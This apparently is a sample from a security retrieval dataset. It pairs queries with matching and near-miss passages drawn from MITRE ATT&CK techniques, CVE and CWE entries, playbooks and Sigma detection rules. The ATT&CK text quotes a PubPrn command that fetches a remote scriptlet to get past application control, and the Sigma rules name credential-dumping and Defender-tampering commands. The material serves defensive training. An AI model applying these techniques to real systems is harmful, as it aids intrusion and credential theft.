alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: intelligence brief on T1518
Matching passage: T1518 Software Discovery. Tactics: discovery. Description: Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Such software may be deployed widely across the environment for configuration management or security reasons, such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072), and may allow adversaries broad access to infect devices or move laterally. Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).
Near-miss passage: T1518.001 Security Software Discovery. Tactics: discovery. Description: Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as cloud monitoring agents and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Example commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), <code>reg query</code> with [Reg](https://attack.mitre.org/software/S0075), <code>dir</code> with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software. Adversaries may also utilize the [Cloud API](https://attack.mitre.org/techniques/T1059/009) to discover cloud-native security software installed on compute infrastructure, such as the AWS CloudWatch agent, Azure VM Agent, and Google Cloud Monitor agent. These agents may collect metrics and logs from the VM, which may be centrally aggregated in a cloud-based monitoring platform.
Query: risk of The overlayfs implementation in the linux (aka Linux kernel) package before 3.19.0-21.21 in Ubuntu through 15.04 does not properly check permissions for file creation in the upper 
Matching passage: CVE-2015-1328. CWE: CWE-264. CVSS: 7.800000190734863. The overlayfs implementation in the linux (aka Linux kernel) package before 3.19.0-21.21 in Ubuntu through 15.04 does not properly check permissions for file creation in the upper filesystem directory, which allows local users to obtain root access by leveraging a configuration in which overlayfs is permitted in an arbitrary mount namespace.
Near-miss passage: CVE-2015-7425. CWE: CWE-264. CVSS: 10.0. The Data Protection component in the VMware vSphere GUI in IBM Tivoli Storage Manager for Virtual Environments: Data Protection for VMware (aka Spectrum Protect for Virtual Environments) 6.3 before 6.3.2.5, 6.4 before 6.4.3.1, and 7.1 before 7.1.4 and Tivoli Storage FlashCopy Manager for VMware (aka Spectrum Protect Snapshot) 3.1 before 3.1.1.3, 3.2 before 3.2.0.6, and 4.1 before 4.1.4 allows remote attackers to obtain administrative privileges via a crafted URL that triggers back-end function execution.
Query: playbook for alert: EDR alert: possible Exfiltration Over C2 Channel (T1041)
Matching passage: Playbook for T1041 Exfiltration Over C2 Channel. 1) Validate alert telemetry against T1041. 2) Scope affected hosts and accounts. 3) Contain by isolating endpoint / disabling account if confirmed. 4) Hunt for related tactics: exfiltration. 5) Eradicate persistence and recover. Reference detection notes: Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.
Near-miss passage: Playbook for T1048.002 Exfiltration Over Asymmetric Encrypted Non-C2 Protocol. Different response path focused on exfiltration.
Query: detect Detects when an Google Workspace user is granted admin privileges. in logs
Matching passage: Sigma rule: Detects when an Google Workspace user is granted admin privileges.. Logsource: gcp / google_workspace.admin. Rule: title: Google Workspace User Granted Admin Privileges id: 2d1b83e4-17c6-4896-a37b-29140b40a788 status: test description: Detects when an Google Workspace user is granted admin privileges. references: - https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3 - https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-user-settings#GRANT_ADMIN_PRIVILEGE author: Austin Songer date: 2021-08-23 modified: 2023-10-11 tags: - attack.privilege-escalation - attack.persistence - attack.t1098 logsource: product: gcp service: google_workspace.admin detection: selection: eventService: admin.googleapis.com eventName: - GRANT_DELEGATED_ADMIN_PRIVILEGES - GRANT_ADMIN_PRIVILEGE condition: selection falsepositives: - Google Workspace admin role privileges, may be modified by system administrators. level: medium
Near-miss passage: Sigma rule: Detects a dump file written by QuarksPwDump password dumper. Logsource: windows / file_event. Rule: title: HackTool - QuarksPwDump Dump File id: 847def9e-924d-4e90-b7c4-5f581395a2b4 status: test description: Detects a dump file written by QuarksPwDump password dumper references: - https://jpcertcc.github.io/ToolAnalysisResultSheet/details/QuarksPWDump.htm author: Florian Roth (Nextron Systems) date: 2018-02-10 modified: 2024-06-27 tags: - attack.credential-access - attack.t1003.002 logsource: category: file_event product: windows detection: selection: TargetFilename|contains|all: - \AppData\Local\Temp\SAM- - .dmp condition: selection falsepositives: - Unknown level: critical
Query: CWE for Improper Restriction of XML External Entity Reference
Matching passage: CWE-611 Improper Restriction of XML External Entity Reference. The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.
Near-miss passage: CWE-687 Function Call With Incorrectly Specified Argument Value. The product calls a function, procedure, or routine, but the caller specifies an argument that contains the wrong value, which may lead to resultant weaknesses.
Query: patch priority for CVE-2015-6805
Matching passage: CVE-2015-6805. CWE: CWE-79. CVSS: 3.5. Cross-site scripting (XSS) vulnerability in the MDC Private Message plugin 1.0.0 for WordPress allows remote authenticated users to inject arbitrary web script or HTML via the message field in a private message.
Near-miss passage: CVE-2015-8861. CWE: CWE-79. CVSS: 6.099999904632568. The handlebars package before 4.0.0 for Node.js allows remote attackers to conduct cross-site scripting (XSS) attacks by leveraging a template with an attribute that is not quoted.
Query: vulnerability: Integer overflow in the dissect_osd2_cdb_continuation function in epan/dissectors/packet-scsi-osd.c in the SCSI OSD dissector in Wireshark 1.12.x before 1.12.4 allows remote attack
Matching passage: CVE-2015-2192. CWE: CWE-189. CVSS: 5.0. Integer overflow in the dissect_osd2_cdb_continuation function in epan/dissectors/packet-scsi-osd.c in the SCSI OSD dissector in Wireshark 1.12.x before 1.12.4 allows remote attackers to cause a denial of service (infinite loop) via a crafted length field in a packet.
Near-miss passage: CVE-2015-3809. CWE: CWE-189. CVSS: 7.800000190734863. The dissect_lbmr_pser function in epan/dissectors/packet-lbmr.c in the LBMR dissector in Wireshark 1.12.x before 1.12.5 does not properly track the current offset, which allows remote attackers to cause a denial of service (infinite loop) via a crafted packet.
Query: risk of The ecc_256_modp function in ecc-256.c in Nettle before 3.2 does not properly handle carry propagation and produces incorrect output in its implementation of the P-256 NIST ellipti
Matching passage: CVE-2015-8803. CWE: CWE-254. CVSS: 9.800000190734863. The ecc_256_modp function in ecc-256.c in Nettle before 3.2 does not properly handle carry propagation and produces incorrect output in its implementation of the P-256 NIST elliptic curve, which allows attackers to have unspecified impact via unknown vectors, a different vulnerability than CVE-2015-8805.
Near-miss passage: CVE-2015-1281. CWE: CWE-254. CVSS: 4.300000190734863. core/loader/ImageLoader.cpp in Blink, as used in Google Chrome before 44.0.2403.89, does not properly determine the V8 context of a microtask, which allows remote attackers to bypass Content Security Policy (CSP) restrictions by providing an image from an unintended source.
Query: risk of Multiple cross-site scripting (XSS) vulnerabilities in unspecified backend components in TYPO3 6.2.x before 6.2.16 and 7.x before 7.6.1 allow remote authenticated editors to inject
Matching passage: CVE-2015-8755. CWE: CWE-79. CVSS: 5.400000095367432. Multiple cross-site scripting (XSS) vulnerabilities in unspecified backend components in TYPO3 6.2.x before 6.2.16 and 7.x before 7.6.1 allow remote authenticated editors to inject arbitrary web script or HTML via unknown vectors.
Near-miss passage: CVE-2015-2241. CWE: CWE-79. CVSS: 4.300000190734863. Cross-site scripting (XSS) vulnerability in the contents function in admin/helpers.py in Django before 1.7.6 and 1.8 before 1.8b2 allows remote attackers to inject arbitrary web script or HTML via a model attribute in ModelAdmin.readonly_fields, as demonstrated by a @property.
Query: Sigma rule for Detects attempts to remove Windows Defender configurations using the 'MpPreference' cmdlet
Matching passage: Sigma rule: Detects attempts to remove Windows Defender configurations using the 'MpPreference' cmdlet. Logsource: windows / process_creation. Rule: title: Tamper Windows Defender Remove-MpPreference id: 07e3cb2c-0608-410d-be4b-1511cb1a0448 related: - id: ae2bdd58-0681-48ac-be7f-58ab4e593458 type: similar status: test description: Detects attempts to remove Windows Defender configurations using the 'MpPreference' cmdlet references: - https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/windows-10-controlled-folder-access-event-search/ba-p/2326088 author: Nasreddine Bencherchali (Nextron Systems) date: 2022-08-05 tags: - attack.defense-impairment - attack.t1685 logsource: product: windows category: process_creation detection: selection_remove: CommandLine|contains: Remove-MpPreference selection_tamper: CommandLine|contains: - '-ControlledFolderAccessProtectedFolders ' - '-AttackSurfaceReductionRules_Ids ' - '-AttackSurfaceReductionRules_Actions ' - '-CheckForSignaturesBeforeRunningScan ' condition: all of selection_* falsepositives: - Legitimate PowerShell scripts level: high
Near-miss passage: Sigma rule: Detects usage of the "ms-appinstaller" protocol handler via command line to potentially download arbitrary files via App. Logsource: windows / process_creation. Rule: title: Potential File Download Via MS-AppInstaller Protocol Handler id: 180c7c5c-d64b-4a63-86e9-68910451bc8b related: - id: 7cff77e1-9663-46a3-8260-17f2e1aa9d0a type: derived status: test description: 'Detects usage of the "ms-appinstaller" protocol handler via command line to potentially download arbitrary files via AppInstaller.EXE The downloaded files are temporarly stored in ":\Users\%username%\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\AC\INetCache\<RANDOM-8-CHAR-DIRECTORY>" ' references: - https://lolbas-project.github.io/lolbas/Binaries/AppInstaller/ author: Nasreddine Bencherchali (Nextron Systems), Swachchhanda Shrawan Poudel date: 2023-11-09 tags: - attack.execution - attack.stealth - attack.t1218 logsource: category: process_creation product: windows detection: selection: CommandLine|contains|all: - ms-appinstaller://?source= - http condition: selection falsepositives: - Unknown level: medium
Query: patch priority for CVE-2015-6033
Matching passage: CVE-2015-6033. CWE: CWE-310. CVSS: 9.300000190734863. Qolsys IQ Panel (aka QOL) before 1.5.1 does not verify the digital signatures of software updates, which allows man-in-the-middle attackers to bypass intended access restrictions via a modified update.
Near-miss passage: CVE-2015-5655. CWE: CWE-310. CVSS: 5.800000190734863. The Adways Party Track SDK before 1.6.6 for iOS does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate.
Query: patch priority for CVE-2015-1892
Matching passage: CVE-2015-1892. CWE: CWE-200. CVSS: 5.0. The Multicast DNS (mDNS) responder in IBM Security Access Manager for Web 7.x before 7.0.0 FP12 and 8.x before 8.0.1 FP1 inadvertently responds to unicast queries with source addresses that are not link-local, which allows remote attackers to cause a denial of service (traffic amplification) or obtain potentially sensitive information via port-5353 UDP packets.
Near-miss passage: CVE-2015-3752. CWE: CWE-200. CVSS: 5.0. The Content Security Policy implementation in WebKit in Apple Safari before 6.2.8, 7.x before 7.1.8, and 8.x before 8.0.8, as used in iOS before 8.4.1 and other products, does not properly restrict cookie transmission for report requests, which allows remote attackers to obtain sensitive information via vectors involving (1) a cross-origin request or (2) a private-browsing request.
Query: describe CVE-2015-5242
Matching passage: CVE-2015-5242. CWE: CWE-94. CVSS: 6.0. OpenStack Swift-on-File (aka Swiftonfile) does not properly restrict use of the pickle Python module when loading metadata, which allows remote authenticated users to execute arbitrary code via a crafted extended attribute (xattrs).
Near-miss passage: CVE-2015-1695. CWE: CWE-94. CVSS: 9.300000190734863. Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 allow remote attackers to execute arbitrary code via a crafted Journal file, aka "Windows Journal Remote Code Execution Vulnerability," a different vulnerability than CVE-2015-1675, CVE-2015-1696, CVE-2015-1697, CVE-2015-1698, and CVE-2015-1699.
Query: write Sigma for See what commands are being input into the device by other people, full credentials can be in the history
Matching passage: Sigma rule: See what commands are being input into the device by other people, full credentials can be in the history. Logsource: cisco / aaa. Rule: title: Cisco Show Commands Input id: b094d9fb-b1ad-4650-9f1a-fb7be9f1d34b status: test description: See what commands are being input into the device by other people, full credentials can be in the history author: Austin Clark date: 2019-08-11 modified: 2023-01-04 tags: - attack.credential-access - attack.t1552.003 logsource: product: cisco service: aaa detection: keywords: - show history - show history all - show logging condition: keywords falsepositives: - Not commonly run by administrators, especially if remote logging is configured level: medium
Near-miss passage: Sigma rule: List credentials currently stored in Windows Credential Manager via the native Windows utility vaultcmd.exe. Logsource: windows / process_creation. Rule: title: Windows Credential Manager Access via VaultCmd id: 58f50261-c53b-4c88-bd12-1d71f12eda4c status: test description: List credentials currently stored in Windows Credential Manager via the native Windows utility vaultcmd.exe references: - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.004/T1555.004.md#atomic-test-1---access-saved-credentials-via-vaultcmd author: frack113 date: 2022-04-08 modified: 2022-05-13 tags: - attack.credential-access - attack.t1555.004 logsource: category: process_creation product: windows detection: selection_img: - Image|endswith: \VaultCmd.exe - OriginalFileName: VAULTCMD.EXE selection_cli: CommandLine|contains: '/listcreds:' condition: all of selection* falsepositives: - Unknown level: medium
Query: SIEM correlation: command and control activity consistent with Bidirectional Communication
Matching passage: T1102.002 Bidirectional Communication. Tactics: command and control. Description: Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Near-miss passage: T1102 Web Service. Tactics: command and control. Description: Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites, cloud services, and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google, Microsoft, or Twitter, makes it easier for adversaries to hide in expected noise.(Citation: Broadcom BirdyClient Microsoft Graph API 2024) Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).
Query: exploit Unspecified vulnerability in the Oracle Transportation Management component in Oracle Supply Chain Products Suite 6.1, 6.2, 6.3.0, 6.3.1, 6.3.2, 6.3.3, 6.3.4, 6.3.5, and 6.3.6 allo
Matching passage: CVE-2015-0465. CWE: UNKNOWN. CVSS: 4.0. Unspecified vulnerability in the Oracle Transportation Management component in Oracle Supply Chain Products Suite 6.1, 6.2, 6.3.0, 6.3.1, 6.3.2, 6.3.3, 6.3.4, 6.3.5, and 6.3.6 allows remote authenticated users to affect confidentiality via unknown vectors related to UI Infrastructure.
Near-miss passage: CVE-2015-0496. CWE: UNKNOWN. CVSS: 4.0. Unspecified vulnerability in the PeopleSoft Enterprise PeopleTools component in Oracle PeopleSoft Products 8.53 and 8.54 allows remote authenticated users to affect confidentiality via vectors related to PIA Search Functionality.
Query: ATT&CK technique for System Script Proxy Execution
Matching passage: T1216 System Script Proxy Execution. Tactics: stealth. Description: Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)
Near-miss passage: T1216.001 PubPrn. Tactics: stealth. Description: Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation: pubprn) Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script. In later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).